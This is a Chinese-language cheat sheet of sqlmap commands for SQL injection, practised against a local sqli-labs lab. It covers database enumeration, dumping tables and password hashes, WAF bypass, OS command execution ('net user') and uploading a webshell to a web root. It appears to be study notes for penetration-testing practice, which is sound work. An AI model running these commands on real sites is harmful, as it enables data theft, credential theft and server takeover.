1. 三种注入方式检测
get
方式注入
python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2
post
方式注入
python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data uname=ha
cookie
注入
python2 sqlmap.py -u '网址' --cookie uname=aja
2. 数据库信息获取
获取当前用户下所有数据库
python2 sqlmap.py -u '' --dbs
获取数据库的表名
python2 sqlmap.py -u ''-D 数据库名 --tables
获取表中的字段
python2 sqlmap.py -u '' -D 数据库名 -T 表名 --columns
获取字段的内容
python2 sqlmap.py -u '' -D 数据库名 -T 表名 -C 列名,列名 --dump
获取所有用户(具有一定的权限)
python2 sqlmap.py -u '' --users
获取数据库用户的密码
python2 sqlmap.py -u '' --passwords
获取当前网站数据库的名称
python2 sqlmap.py -u '' --current-db
获取当前数据库的用户名称
python2 sqlmap.py -u '' --current-user
获取数据库的数据量
python2 sqlmap.py -u '' -D 数据库名 --count
判断用户权限:增删改查、写入读取文件、执行系统命令
python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --privileges
简单的判断:MSSQL
最高权限是Sa
用户 Mysql
最高权限是root
sqlmap
不支持Mongodb
和nosql
所以新出来的开源nosqlmap
支持可以去github
上下载
管理自己的数据库得先在github
上下载pymysql
解压切换目录然后setup.py install
sqlmap.py -d mysql://用户名:密码@地址:端口/数据库 --sql-shell 进行sql语句的管理
页面无变化,布尔无真假,从来不报错,延时注入
python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --delay -safe-freq
交互式命令执行和写webshell
python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --os-cmd 'net user'
使用tamper
绕过waf
python2 sqlmap.py -u '' --tamper=''
批量sql
注入
python2 sqlmap.py -m 文件
3. 使用burpsuit批量扫描sql注入
先在burpsuit
中设置使用代理抓包并将其保存在sqlmap
所在的目录下。然后使用
python2 sqlmap.py -l burp.log --batch -smart
--batch
就是使用默认选项,smart
是使用智能化的注入,它会根据头的注入,cookie
和post
,get
的方式进行注入
4. 本地上传webshell
首先,在sqlmap
所在的目录下创建一个目录mst
,然后里面存放我们要上传的webshell
,
其次,需要两个参数
--file-write './mst/mst.txt'
--file-dest 'd:/www/1.php'
-v 等级 可以显示出注入的payload
使用burpsuit
结合sqlmap
学习注入:参数 --proxy=http://127.0.0.1:8080